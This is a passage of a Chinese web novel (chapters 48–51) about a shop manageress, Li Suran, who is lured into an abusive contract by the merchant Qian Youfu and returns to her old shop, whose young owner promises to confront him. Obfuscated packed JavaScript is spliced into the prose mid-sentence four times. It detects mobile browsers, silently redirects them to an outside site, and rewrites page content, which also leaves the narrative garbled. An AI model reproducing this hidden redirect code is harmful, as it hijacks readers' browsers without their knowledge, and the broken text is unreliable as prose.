他狡黠一笑，用自己粗肥的手指捻了捻自己右半撇的小八字胡，却在李素染回过神来又摆出一副说错话的愧疚模样：“是是是，有李掌柜在，这香玉坊怎么会倒呢？毕竟这十里八街的，有哪个不知道您李掌柜的威名？莫说当掌柜，就算是让您当那香玉坊的东家都绰绰有余啊！” 东家？ 不提这事还好，一提，便更是火上浇油！ 李素染转过头愤愤地看着在门外拉客的白栖枝，又因着好奇，往里敲了敲，果然一眼就看见了趴在柜台上呼呼大睡的莫当时。 那个位置原本应该是她的，她守着那个地方守了那么久，把自己最好的年华都耽搁了，可就因为现在这么一个破东家，自己现在不得不如过街老鼠般躲在这一方阴暗的小巷，不可见人地回避着那人的目光，偷偷觊觎着曾经的家。 李素染越想越愤怒。 如果说嫉妒令人眼红，那么愤怒就是一团火，灼在所有人那双看似清明双目上，令人眼盲。 李素染回过神，看着钱老板，一张脸黑得跟墨水一般，几乎是从牙缝里咬出字来：“你方才说的大生意，是什么？” ——此时正是好时机！ 钱老板狡黠地笑着：“说来惭愧自打桃妆轩壮大以来，在下又在淮安内增设了几家分铺，可因着在下眼光太高，加上淮安人才紧俏，有一家分铺至今还没有选到合适的掌柜，所以……” 李素染了然地挑眉：“所以你想把我挖过去？” “挖？怎么能算挖？”钱老板笑道，“是聘请，并且还是高酬聘请。” “价钱多少？” “这个数。”钱老板竖起两根手指，边说，边将原本手心朝她的肥手又，翻过来，手背朝她。 李素染皱皱眉：“二十贯？” 钱老板：“不，是四十贯！” 李素染倒吸一口冷气，全淮安最好的掌柜月俸也不过在五十贯左右，而这位钱老板开口便是四十贯，可见他实在是和他的形式无出左右——财大气粗啊！ 李素染几乎被这份天降的大馅饼砸晕了头，一时间，她觉得自己仿佛是踩在一片棉花上，头重脚轻。 眼前出现了大片炫目的白光，她一个禁不住，几乎是脚下一个踉跄。 但到底也是在生意场里摸爬滚打过的掌柜，李素染很快稳住了心情，刚想要一口应下，却见那钱掌柜张着嘴，似乎还有话要说。 她又恢复了些理智，问道：“大家都是做生意的，倒也没必要藏着掖着，需要我做什么您说一声就是了，何必吞吞吐吐？” 钱老板听她这句问，笑了，舔了舔下嘴唇，恭维道：“李掌柜真是聪明，在李掌柜面前，钱某真是一点心思也藏不住啊。”说完，他将手掌舒开，笑眯眯道，“确实是需要李掌柜付一些押金。” “五十贯？！”李素染惊呼出声！ 要知道，淮安物价极贵，她每月能省出五贯钱就已是不易，这位钱老板一张口就是五十贯，他财大气粗觉得五十贯没什么，可放到她身上，就是一年从牙缝里挤出来的钱啊！ “我看钱老板实在是在戏弄于我，这生意我做不成，也到不了您那秋妆坊去，您还是另请高明吧！” 说着，李素染错身就要走，却被钱老板好生拦住。 “别别别！李掌柜的，钱某是真心想聘请您当掌柜的，就算是看在当年的情分上上也请让钱某辩解一句啊！” 当年又有什么情分？！ 李素染左绕右绕，偏巧钱老板身形肥大，只左右挪几步就将她挡个严实，无奈之下，她也只能听他辩解。 “不是钱某戏弄李掌柜，实在是钱某不放心啊！” “有什么不放心的？” “您想啊，您是香玉坊的老人了，付出了那么多年的心血岂能是说抛就真能抛的下的？我收您押金不是为了别的，就是为了让您看在这五十贯的面子上断了对香玉坊的情。不然您若是哪天突然又念起香玉坊，从我这儿一下子撂挑子不干，那我桃妆轩的损失谁来赔？就算能赔，那我另找新掌柜付出的时间和经历又怎么算？好，就算这些我都不论，那您进了我们桃妆轩，学了我们桃妆轩的秘笈，等到回到香玉坊后将我们的秘笈偷了再做怎么办？是，我是知道李掌柜为人坦荡，必不会做出如此龌龊之事，可生意场上无朋友，就算是我相信您，可该走的流程也还是要走的啊！” “况且我这五十贯也只是押金而已，等到李老板在我这儿做上一个月让钱某放心，钱某也是会将这五十贯还给李掌柜的呀！况且月俸四十贯的掌柜一职，难道配不上这五十贯的押金么？李掌柜，您是掌柜，跟算珠子打了那么多年的交道，难道这点账还算不清楚么？！” 明明是隆冬二月， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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次日，面对找上门来的钱老板，她当即交了那五十贯钱的押金，又因着脑海里一直回荡着白栖枝那时对她毫不在意甚至讥讽瞧不起的神情，以至于连钱老板拿出的那方合同都静不下心细看，就那么糊里糊涂地签了字画了押，完全没有觉出一点不对来。 “好好好！”仔细核对一遍契约，钱老板登时乐得见牙不见眼，小心翼翼地吹干上头墨痕将其折好收回袖间，欣然道，“既然契已签订，那钱某就不耽误李掌柜休息了，后日，我再来约李掌柜前去查看坊内诸项事宜，钱某告辞了。” 一直压在心头的大石头总算落了地，李素染顿时失去了浑身的力气，甚至在起身时两眼倏地一黑，几乎要晕厥过去。 突然，门外又响起敲门声。 李素染以为是钱老板改了主意，刚要去开门，只听门外陌生小厮道：“李掌柜，我是宜和楼的小厮，我家东家想聘请李掌柜到宜和楼任掌柜一职，月俸三十贯，请问李掌柜可愿？” 怎么今日一个两个都来聘她？ 李素染皱了皱眉头，心下有疑却未细想，仍兀自沉浸在月俸四十贯的欣喜中，开口便道：“感谢你家东家美意，只是我已同别家签了契约，恐不能胜任你家掌柜，劳烦小哥替我谢过你家东家，我乏了，就先歇着了，您请回吧？” 已经同别家签了契约了？小厮心里一阵惊慌。 要知道，今儿早上，白小姐可是千叮咛万嘱咐要他将李掌柜的骗过来同他画押，如今竟不知道从哪冒出来个别家，那白小姐一番局岂不要付诸流水？白小姐若是迁怒下来，到大爷哪儿告他办事不力，将他撵出府去，那他还怎么能活！ 该如何是好啊！ …… 49. 回去 回去。 李素染不知道该如何平静自己的心情，这几天发生的事情对她来说实在是玄之又玄。 先是愤然离开自己一直经营的香玉坊，随后四处打听、碰壁，就在她即将绝望时，天无绝人之路，桃妆轩的东家又找上她高价聘请她做掌柜…… 一切的一切玄乎地宛若话本子里才有的内容，李素染甚至想不得这其中有什么不对劲的地方，只是茫然地看着房梁，。 她眨了眨干涸的双眼，就见着房梁上缓缓晕出三个大字—— 是运吗？ “是运吧。” 一番训责过后，小厮已走，白栖枝仍跪在两人面前，面对着两人的责问，如是回答。 上头做的是沈忘尘和林听澜两人，这两人都是知道她设计想要使李素染在自己手里吃个亏乖乖听话的，可是现如今这法子被人横插一刀，就连人都被对方夺去了，甚至还欠下了契子，到时候他们连赎都不知道怎么赎！ 面对她波澜不惊的语气，林听澜自觉的自己太阳穴气得直突突，他质问道：“现在事情已然无法收场，李素染是香玉坊的老人了，她一走，你这香玉坊还如何能开的下去？更何况她在林家多年，若是说出去了些什么不该说的，你知道会对林家造成多大的损失么？” “香玉坊……你本来也没有多放在心上吧？”白栖枝仍是垂眸，“至于林哥哥你说的什么不该说的，是香玉坊曾经的经营之道么？可那些对于如今淮安内其他品类相同的铺子来说已然毫无用处。是香玉坊内制作胭脂的秘方么？可那些已然落后，就算说出去也无所谓。亦或者，是李素染在林府当粗实丫鬟时，知道了些林家不为人知的秘辛？可伯父伯母一向光明磊落，从不行小人之事，是全淮安出了名的仁商，有怎会行过不苟之事？至于林哥哥说得什么不该说的，恕我愚钝，实在是想不出该是些什么不该说的。” 几句话，气得林听澜哆嗦着嘴唇说不出话来，还是沈忘尘给他推来一杯茶水叫他消消气。 沈忘尘从来没有难为过白栖枝，哪怕是面对眼下此等状况，他也只是微微敛了些笑意，温声问道：“那枝枝打算如何？” 白栖枝并不作答，面对两人的审问，她还是只说着那一句不着道理的话： “她会回来的。” ——她想回去了。 倚在空荡破旧的工坊内，李素染满目怆然，脑海内就只有这一句话 她想回去了。 她被人给骗了。 天杀的，她明知道没有天上掉馅饼的美事，可她还是钻进那个钱有富的圈套里了！ 今儿早上，她特地换了自己最值钱的行头，跟着那个该死的钱有富来到他口中所谓的分铺，一路上还做着要出人头地的美梦，可真当她七拐八拐地到了地方，却发现那所谓的分铺完全就是一个噱头！ 整个分铺里头的东西陈旧无比，柜面儿落了灰尘，房梁上头结着蛛网，蜘蛛追下来，差点都要落到她脸上，吓得她差点就要尖叫出声了！ 可若是只破点偏点也就算了，关键是这整个铺子里空无一人！ 这也就意味着她不止要做掌柜，还要兼顾制粉师、售货娘子、洒扫丫鬟、粗实下人等等等等一连串的活计，并且现在、眼下就要把铺子收拾起来，五天后就得开张售货——这哪里是人能做得到的事？！ 李素染本来想让钱有富把押金退回来，甚至不用退回来也行，哪怕让她赔了那五十贯钱，她也要快快离开这里，绝不再回来。 可当钱有富拿出她前日签署的那份契约递给她让她一条条细看的时候，李素染傻眼了。 前天签的时候她被怒气冲昏了脑袋没有细看，今日这仔细一看才发现，这小小的契子竟暗藏玄机！ 里头的条例乍一看没问题，但深究下来，条条都在玩文字游戏，以至于这一份原本很普通的雇佣契子竟成了能活活把人拆骨入腹的卖身契！ 李素染当时冷汗就流了一脊背，她当时急乱了阵脚，甚至都要把这契子给吞进肚子里了，可钱有富说： “没关系李掌柜，你吃了这一张，我那头还有一张，你吃的是我找人仿的，我手里头的那个才是真的。您慢慢吃，喝口水，别噎着。钱某还有事，就先行告辞了，等明日再来验收成果，静候李掌柜的佳音了。” 人怎么能蠢成这个样子！ 李素染又气又急又凄凉，她甚至觉得现在那正顺着她脸颊流下来的已经不是她的泪了，而是她脑子里进的水！ 她怎么就能因为一时恼火做出了这等蠢事！ 现在好了钱也没了，身也没了，别说回香玉坊了，她现在就连远远瞧上一眼的资格都没有了！ 她怎么就能这么蠢啊！！！ 可是哭也来不及了，事情已经发生，钱有富说，如果她不做，他就要砍断她的手，也不是砍断，只是削去她半个手掌，叫她做个残掌掌柜，可倘若日后她还不听话，那他就再砍断她的双手也不迟。 可她又怎么会制粉嘛！ 李素染又想起了从前在香玉坊里的日子——眼下如此败落，倒比对出从前的甜了。 想当年，大爷，不对，现在已经不该叫大爷了，是林听澜，林听澜当年想要开胭脂铺子，但他什么也不会，把铺子开起来就当撒手东家，将掌柜一职扔给她，自己溜之大吉了。 莫伯和莫当时是第二天从林家调过来的，莫伯她知道，是林家的庸仆，也知道他有个宝贝儿子，却从来没见过，哪成想这莫当时竟长得如此俊俏？刚好铺子里没有售货郎君，看在那张俊脸的份上，李素染便给了他一个售货郎君当当。 再后来就是她一批批地招售货娘子、制粉师、洒扫小厮……可以说店内绝大部分的人都是她李素染一手招来的。 再然后来的就是紫玉，但紫玉不是她招来的，是她做生意后和一位制粉师有了交情，那位制粉师见她一个女人家做掌柜不易，便将自己的徒弟，也就是紫玉派过去帮着香玉坊去研制胭脂水粉。但谁知紫玉这丫头不仅擅长制粉，就连嘴也甜的不行，每每都能给她拉来好些个女客，再加上她愿意做这个，李素染便也由着她当售货娘子，给她两份工钱了。 一开始是难，店的位置不好，没什么客人来，她们就只能站在街上吆喝着揽客，一站就是好几天。后来客人多了起来，他们又忙得焦头烂额，面对这山也似的单子，他们一个人恨不得劈成十瓣儿用，整日跑来跑去，都在忙着兀自的事，等到终于闲下来想弄口水喝，才发现茶壶里头都快臭了——之前沏的茶忘了喝，困在里头好几天，可不是要臭了？ 再之后，铺子里其他伙计来来又走走，到最后坚持下来，竟只有他们四个。 那时候多苦多累啊，他们恨不得把一切都抛掉了，三年了，小姑娘长成了大姑娘，大姑娘熬成了老掌柜。那时候她长得还不错，也有门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949074|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当户对的想要求娶她，可她为了香玉坊全都放弃了，以至于她都三十出头了却还没有嫁人，甚至有些与她同龄的一些夫人孩子都成家了，她却还连个家都没有，一直想着把香玉坊做得更好、更好，待到香玉坊做成了，她也就能安心嫁人生子了。 可谁知道呢？香玉坊出师未捷身欲死，连带着她也就这样一点点的老了下来，甚至连回头的机会都没有。 实在是可悲。 如果她没有负气离开就好了，如果大爷没有遇到过那人就好了，如果她从没被派到大爷手下就好了…… 没有如果！ 想要自己的手掌完好无缺，她就只能拼命地干，汗珠子砸在地上摔成了几瓣儿她都不知道，就一直地洒扫、洒扫、洒扫……甚至连回家的时间都没有，累了就在里头找个干净的地方蜷着，第二天天不亮又得醒来干活儿。 四天，李素染每天都在这个老破作坊里做黑工。 从洒扫到点货，从点货到研习，再从研习到制粉，一切的一切都是她自己一个人完成的，好些东西她看不懂、学不会、做出来也不知道分寸，学到最后做出来的东西甚至连失败品都不如，只能被扔进净桶[1]。 钱有富会因此惩罚她，但他不会打她，一来身体留伤被别人看见会说他虐待伙计，二来男人打女人也不好看。但他会辱骂他，短短四天里，李素染已经被他骂得狗血淋头。 什么贱种、蠢奴、婊/子……那些话他都骂的出来，甚至不假思索，就好像她天生就是个下贱无能、成事不足，败事有余的贱/货。 那些言语锋利得像刀子，几乎要将她的面皮血淋淋地剥落，她几乎都快忘了自己当初在香玉坊也是个出尽风头的掌柜的，她只会强求着自己拼一点、再拼一点，同钱有富一起欺负、压榨自己。 直到她一个起身，两眼昏黑，重重栽倒在地上，她才停下了手头的活计，开始看着铺子里的房梁，开始有余力回想她这几天受过的苦。 一番琢磨下来，李素染真的已经觉得自己已经筋疲力尽了。 好痛，浑身的都在痛，血管被一根根扯破又缝上，骨头被一根根打碎又重塑，连带着她整个身躯都散架又拼凑。可若只是这样也就罢了，更怕的是这些伤在外人眼中是看不出的，她好痛啊，可为什么身上一点伤都没有啊？ 她又没有伤，怎么知道自己是哪里在痛啊？！ 无数的泪水像江河奔腾过山川一样从她脸上蜿蜒冲流，她太累了，眼角都起了细纹，泪水从里头流过，就如同河水滋润皲裂的土地那样，浸润了，又流过。 几乎是一瞬间，恋旧之情胜过了理智，甚至抛弃了了从前所有放不下的脸面，李素染几乎是想都没想就从地上爬起来，踢开铺内破旧的门，朝着香玉坊的方向飞奔而去。 雪夜下，她提着下摆飞速地跑着，仿佛身后有饿狼在追逐，只要一个不留意，就会把她扑倒在地，死咬着她，将分食殆尽。 李素染不要被它们分食，她不要死在不见天日的黑夜里，所以踉踉跄跄也好，几度力竭也好，她都要拼了命地跑，拼了命地回去—— 回去。 回去！ 她不要再待在那个烂泥一样的地方受着那些本不该受的苦，她要回去，她要回到她的香玉坊去！ 她一定要回去。 …… [1]宋代类似于垃圾桶的器具 50. 唤狗 夜色已深，香玉坊内灯火如豆。 店内的大家都回家了，唯独白栖枝还坐在柜台后头一条条地清点账目。 李素染不在，许多事情都需要莫当时来做，而他又对理货点账一窍不通，担子自然就落到了白栖枝身上。 做了一天的算账娘子，白栖枝也很是乏累，因低头太久，颈肩处的肌肉硬得跟钢筋铁板一样，稍微动一动就是挫骨的痛。 门口处似有黑影闪过，白栖枝抬头去看。 什么也没有。 她垂下头正打算继续理账，那黑影又忽地闪过，害得她不敢再低头，一双杏眸久久凝视着坊门，随即，起身。 李素染在香玉坊门口踱了许久。 方才老远她就看着这坊内有灯火闪烁，便急急地就跑了过来，想要进去求助，然而，就在她即将抵达门口时—— 她犹豫了。 这么晚了还在店里的会是谁呢？ 莫伯么？但里头的身影又不像。 紫玉么？不对不对，她总是最早走的那个，不早逃就不错了，怎么会留在店里理货。 莫当时？更不可能了，能在店里见到他就不错了，怎么可能这么晚还留在这儿。 那难不成…… “吱呀。” 房门应声打开，两双美眸就这样对视着，久久，都没有挪开。 脑海里刚念叨的人一下子就蹦到自己面前，李素染甚至都来不及羞恼，只这样一脸惊慌地盯着白栖枝看，仿佛她是她的什么至亲。 白栖枝也在盯着李素染看，但她反应得倒是快，只愣神了一瞬，脸上又恢复了李素染最讨厌的那抹和煦的微笑，同她温声道： “雪夜太冷，李掌柜可要进坊内小叙？” 李素染已经听不清她到底在说什么了。 她只看见那张脸盈着笑，粉嫩的唇瓣张合着说了些什么，但她听不清了，无论白栖枝在说什么，她都只会点点头，哑着嗓音，应下一个“好”字。 不知道为什么，再度见到这张昔日最讨厌的脸，李素染的心绪反倒轻了下来，随着外头纷飞的鹅毛大雪，一点点地，落地消失。 她是被白栖枝牵着手拉进香玉坊的。 对于她的到来，白栖枝没有惊讶，也没有太过高兴，仍旧操持着平日里那般水一样的性子，见她唇瓣干涸，甚至还特地给她倒了一盏酽茶。 只可惜这茶是日落前沏的，放到现在，已经有些凉了。 ——人走茶凉。 李素染握着那盏冷茶，淡淡地想了这么一句。 一阵冰凉蓦地从她鬓角划到耳畔。 李素染抬头去看，就见着白栖枝一张小脸离自己好近，她正在为她将凌乱的鬓角掖到耳后。 她的动作依旧很温柔，但和白日里又有些不一样，带了些女孩子的稚气与容易察觉的困倦疲态，就仿佛她不是香玉坊的新东家，而只是一个来坊内小坐的豆蔻少女。因累了一天，以至于被磨得什么脾气与伪装都没有了，反倒流露出几分她自己的模样来。 白栖枝不是没见到李素染眼中闪过的那一丝压抑，但她只是笑。 “怎么了李掌柜？”她刚开口，又将自己反驳，“不对，不是李掌柜，眼下所有铺子都打烊了，那便让李素染只是李素染，白栖枝只归白栖枝。” “素染阿姊，看你神情疲倦，是发生了什么事么？” 烛火本就黑暗，摇曳着，却因离白栖枝较近，反倒将她一张素白小脸显得明亮柔和了起来。 加之她语气温柔、语调软糯，一瞬间，李素染甚至忘了正是她将她气走的，自己这么多天的不顺，都是因为她才会产生的。 可如今，面对这位小仇家的贴心询问，面对着她氤氲了灯火的眼睛，李素染的内心竟蓦地生出一股委屈来。 倒也不是那种生气的委屈。 是那种在外头受了苦楚，好不容易强撑着笑回到家，却被家中最小的阿妹看穿，于是在夜黑时分，阿妹举着灯偷偷来到她身侧，观察着她强撑出来的笑意，小心翼翼地问她是不是在外面受了什么委屈。 试问这天下有几个人能在受尽委屈后经得起这样的问询？ 李素染登时落下泪来。 “啊。”看到她流泪，白栖枝先是一声尚未反应过来的惊呼，随即急忙在自己身上摸索，直到从怀中掏出来一方小小的手帕。 面前人哭得厉害，白栖枝有些手足无措，她想把手帕递给李素染让她自己擦，可后者双手捧着茶杯，用力之大甚至可见青白指骨，她便也不好再让她自己擦，而是用食指抵着帕子曲起一节，轻轻地，蘸在她面颊上，一点点蘸去她的泪花。 李素染哪里受过这等待遇？ 她从小就是孤身一人，在林府里当丫鬟好不容易有了能说上话的姐妹，结果又被调到香玉坊里做掌柜。 做了掌柜，就要有掌柜的样子，就不能像寻常女儿家那般动辄哭闹了。 所以打从自己成为香玉坊掌柜的那天，李素染，再没哭过。 “阿姊……”白栖枝眨巴着一双杏眼，生怕碰碎了她似得，小心问道，“是阿姊在外头受了什么委屈了么？怎么哭得如此厉害？还是阿姊只是想香玉坊的大家了，以至于半夜故地重游，动了情思？” 说完，她一点点地看着，揣摩着李素染眼底的情绪，抿着唇角，半晌才道：“其实坊内的大家也很想阿姊呢。大家都说，没了阿姊坊里空落落的，跟少了个亲人一样，干什么都提不起劲儿，连带着把香玉坊经营起来的念头都没了。如果阿姊肯卖枝枝一个面子的话，咱们回到坊里来，好不好？” “我还如何能回得来？”李素染哭得上气不接下气。 胸口一阵钝痛，她右手握拳紧紧抵住胸口，继续道：“我啊，早蠢得把自己卖给别人做奴仆了！” “怎会如此……”白栖枝垂眸喃喃着，忽而又抬眸，目光坚定地问她，“阿姊可能告诉枝枝究竟发生了什么事么？” 小姑娘的眼睛黑白分明，李素染光是看着，心里就像有了底一样。 她将这些天来受到的委屈不公一股脑地倾泻了出来，事无巨细，桩桩件件都讲给了白栖枝。 白栖枝光是听着，眉头便一点点地紧皱起来。 “原来如此。”她顿了顿，坚定地说道，“放心吧阿姊，我自有办法对付他。他明天就要到分铺里检查是不是？阿姊不要怕，他这合同是黑工，本就不作数，更遑论要拿到官府给衙门看？如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952914|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果阿姊信我，今夜就委屈委屈同我在这里睡下，明日，我陪阿姊一起去找他，看他能有什么可辩解的？” 李素染哭得停不下来，担忧道：“你一个小姑娘，又哪里能制得过他？” 话音未落，左手忽地一温。 “制得过的！”白栖枝将她握着茶杯的手捧在手心里，一双黑曜石般明亮的瞳仁内似有火光灼烧，她坚定且冷静道，“制得过的，素染阿姊，你是香玉坊的人、林家的人，你的背后有整个香玉坊与林家，只这一点，你便不必怕他。更何况我从小熟读大昭律法，若此事实在不能私了，大不了枝枝就同他对簿公堂，看他还敢怎样？” 对簿公堂？ 这四个字就这样被温和地说了出来。 李素染蓦然抬头，却见面前的小姑娘一张稚嫩的脸上竟毫无惧意，甚至边说着，温润清澈的眼神反倒越发坚起来毅，倒衬得她这个做阿姊的越发懦弱胆小了起来。 听她这样说着，李素染心里便有了底。 她的眼睛里终于没了悲苦，只是郑重地点点头，同白栖枝一样坚毅地说道：“好，那就对簿公堂！” “嗯！” 白栖枝也点点头，随即又跟抽干了所有力气一样，瘫在柜台上，摆出一副哭哭脸，撒娇般地难过道： “额……不过我还剩下些零散的账目没有核对完，素染阿姊还是先睡吧，等到枝枝算完就回去睡了。还剩下好多好多好多……” “噗。”李素染难得见到白栖枝这小孩子般耍赖的神情，忍不住伸手掐了掐她的小脸。 这不掐不知道，小姑娘的脸看似圆圆的还带着奶膘，其实捏起来根本没有多少肉，甚至捏的用力些还能触到她的骨头。 “素染阿姊，”白栖枝也不知道李素染为什么会突然加大力气捏她的脸，只是如此求饶道，“你捏的枝枝好痛喔……” 李素染难得地露出几分笑意，教训道：“捏你是为了让你长记性，谁让你平时总摆出一副小大人的样子给我们看？若是装得像也就罢了，偏你只是笑，看着让人窝火，不捏你捏谁呢？” “唉？会令人窝火吗？”白栖枝有些不解，“可沈哥哥之前就是这样对我笑的哇，我还以为大家都会很喜欢这种表情呢，居然不是嘛？看来还是我学得不到位。” “所以你一直在学他的神情？” “唔……是的吧？”白栖枝挠挠头，顺手摸了下头上那根玉兰花发簪，解释道，“可能因为一直待在沈哥哥身边不知不觉就下意识地学了。不过沈哥哥笑得比我好看，说话也比我动听，尤其是他在对我说‘枝枝，坐’的时候，每说一次我的心都会‘扑通’地跳一下，感觉和娘亲一样温柔呢。” 说着，她拍了拍身侧的空地，学着沈忘尘平时叫她坐过去的样子，边学脸上边泛起暖洋洋的笑，看得李素染心惊。 李素染张嘴想说些什么，却又咬唇忍下，沉默着，将下唇咬得毫无血色。 “怎么了素染姐，有什么不对么？” 面对白栖枝天真的询问，李素染怜惜地瞧着她，心绪却更加复杂，只得试探性地开口，小心翼翼询问她道： “难道你真没觉得，这个动作……很像在唤狗么？” …… 51. 商量 白栖枝路上一直很沉默。 李素染不知道是不是昨晚上自己问的那句话伤到了她的心，以至于两人晚上睡在一起的时候白栖枝都与她隔开了好远的距离。 香玉坊的库房里是有一张床供人小憩的。 床不大，一个人睡尚且有余，两个人睡就显得十分紧巴巴。 好在白栖枝身形尚小，贴着床沿儿蜷成一团也占不了什么地方。 两人就这样睡下，倒也相安无事，直到半夜时分李素染被一阵小声地啜泣吵醒。 身上贴得好热，她垂眸去看，就见着白栖枝小小一团，像小猫幼崽一样贴着自己，攥着她的衣角哭。 她哭起来也不烦人，也不出声，就是紧咬着牙关流泪，偶尔从牙缝里挤出一丝呜咽，但很快就会被吞回去。 朦朦胧胧间，她听见这小丫头哭着喃喃了一句： “阿娘。” 哦，这是睡得迷糊把她当成娘亲了。 李素染回眸看了看房梁细细地想。 如果自己也正常地嫁人生子，那现在也是该当阿娘的年纪了，没准孩子都要跟她一样大。 想着，李素染侧身一把捞过白栖枝瘦小的身体，让她蜷在自己的胸膛里，捋着她的脊背，像哄小孩子似得轻轻拍打着她的肩胛骨，甚至在靠近后心的地方，她还能那手摸到她有力的心跳。 她躺在她的心口处，她摸着她年轻的心脏。 黑夜里，一长一幼两个女人互相依偎着，抛却了掌柜与东家的身份，剩下便只有一句—— 怜我怜卿。 “到了。” 随着李素染脚步停下，与她并肩而行的白栖枝也顿住脚步抬头去望。 破旧的铺子上挂着桃妆轩的牌匾，里头被打扫得窗明几净，地上纤尘不染，如若真要从鸡蛋里挑骨头，恐怕也就是原本该搁置在仓库里的扫把此刻斜倚在展柜旁，看起来格外不羁。 白栖枝举步往里走。 一如李素染所言，铺子里除了她没有半个人影，甚至连个打杂的都没有。 这可不是掌柜的该有的待遇。 她皱了皱好看的眉眼，转身问道：“那人几时来？” 李素染道：“巳时三刻。” “那便等他来。” 说着，白栖枝就这样气定神闲地在铺子里坐了下来，静静地等待着那位钱老板的莅临。 哄完夫人、用完早膳、吃过茶点，钱有富是准时准点来到桃妆轩分铺的。 甫一进来，他最先看到的就是空荡荡的柜台，再一眼，看到的就是在气定神闲地拨弄算珠的李素染。 “臭婊|子！”钱有富开口既骂，“赶紧给老子滚过来！” 按照几天前，李素染早就乖乖地过去挨骂了，可今日，她却是连眼睛都不眨一下，甚至都没有抬眸看她，仍就在拨弄着自己手中的算珠，对他的话充耳不闻，甚至都没有在意他一下。 “嘿！你个臭娘们给你脸不要是吧？”钱有富脚尖踏进门槛，气冲冲地来到李素染面前，“我是不是说过，若你今天不能将铺子开起来，我便要剁掉你半只手？我看你现如今是两只手都不想要了！信不信我这把你的手剁下来喂狗？！” 他说着，便撸胳膊挽袖子，作势就要往灶房走。 “东家……” 粗布既然地一声叫钱有富顿住脚步，他回头往李素染的方向瞅，就见着李素染直勾勾地盯着自己。 不，不对！ 她不是在瞧他，她的目光透过了她的身躯，在看向他身前之人。 身前蓦地一愣，钱有富抬头没瞧见人，低头却瞧见了香玉坊近日来的那个新东家。 小姑娘身形矮小，站在他身前，光从他背后打过来，她就栖居在他的阴影里，没有抬头，一双黑白分明地眉目灼灼，也不说话，白净的小脸上也没有什么表情，就这么一瞬不瞬地盯着她瞧，周身散发着一股浓烈的冷风味儿，活像个从聊斋里潜逃而出的阴冷怨灵。 钱有富被她盯得极为不适，因但知道她是林家林听澜的人，面上也不敢露出些什么，只是撑着讨好的笑容温声问道：“不知是什么风把林家的白小老板您给吹来了，咱两家素来没什么仇怨，不知您如今莅临我这桃妆轩是所谓何事啊？” 白栖枝仍是盯着她，眼睛眨也不眨，只是缓慢地挪向李素染的方向，抬起手，用食指指尖对着她，阴恻恻道：“我，想要她。” “哎呦这可不行！”钱有富大声道。 白栖枝又缓慢地将眼珠转回她脸上。 论身高，白栖枝只到钱有富胸口，她若想正经看他，需将头微扬起来些，这才能看个舒坦。 可她却偏不，一张在冬日雪光下映得有些惨白的小脸一直对着他心口，只将眼眶中的黑瞳略抬，露出下三白对着他，一副不好惹的模样。 “为什么不？” 钱有富洋洋得意道：“李掌柜的自打进我桃妆轩前就是跟我签了契子的，眼下她生是我桃妆轩的人，死是我桃妆轩的鬼，哪能是白小老板您说要就能要去的？除非——”他将两指一并，捏在大拇指上捻了捻，狡诈道，“总得付出点什么不是？” “你想要多少？” “不多……”钱有富想了想，轻松道，“也就一百两银子吧。” “一百两银子？！你怎么不去抢？！”李素染几乎要尖叫。 钱有富立马形象毕露，恶狠狠地扭过头看她：“贱奴，我和白老板商谈关你什么事？闭好你的嘴，不然不只是你的手，就连你的舌头，我也要一并割下来！” 李素染气得几乎要把牙咬碎吞进肚子里，精密的气氛下，她甚至能听见自己的齿尖正捻得咯咯作响。 “百两……”白栖枝想了想，漠然道，“这个价格我倒也能付得起……” 李素染悚然道：“东家你疯了？！” 白栖枝没理她，继续道：“那钱老板可否能给我看一眼林掌柜与您签订的契子？好让我也知道知道，这一百两银子究竟是不是能将我家掌柜真真正正、完好无损地赎出来。” 在淮安，有太多这样的事了，就因着此地商业发达、大家所赚不菲，以至于所有人在签订契约之前，就想方设法地要从对方身上多捞些银子，若只是生意间的博弈倒也还好，至少是明面上的事儿，能涉及的地方就那么多，再多的话，就得摆到明面上来，到时候两方都吃亏，实在是得不偿失。 可若是私下里的黑契子么…… 一百两，买她这只手；二百两，买她那只手；五百两买她的胳膊、六百两买她一双腿……这样的事儿实在是屡见不鲜，更有甚者甚至连肠子、胃、心肝脾肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958477|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肾都明码标价地给到对方，好对其漫天要价。 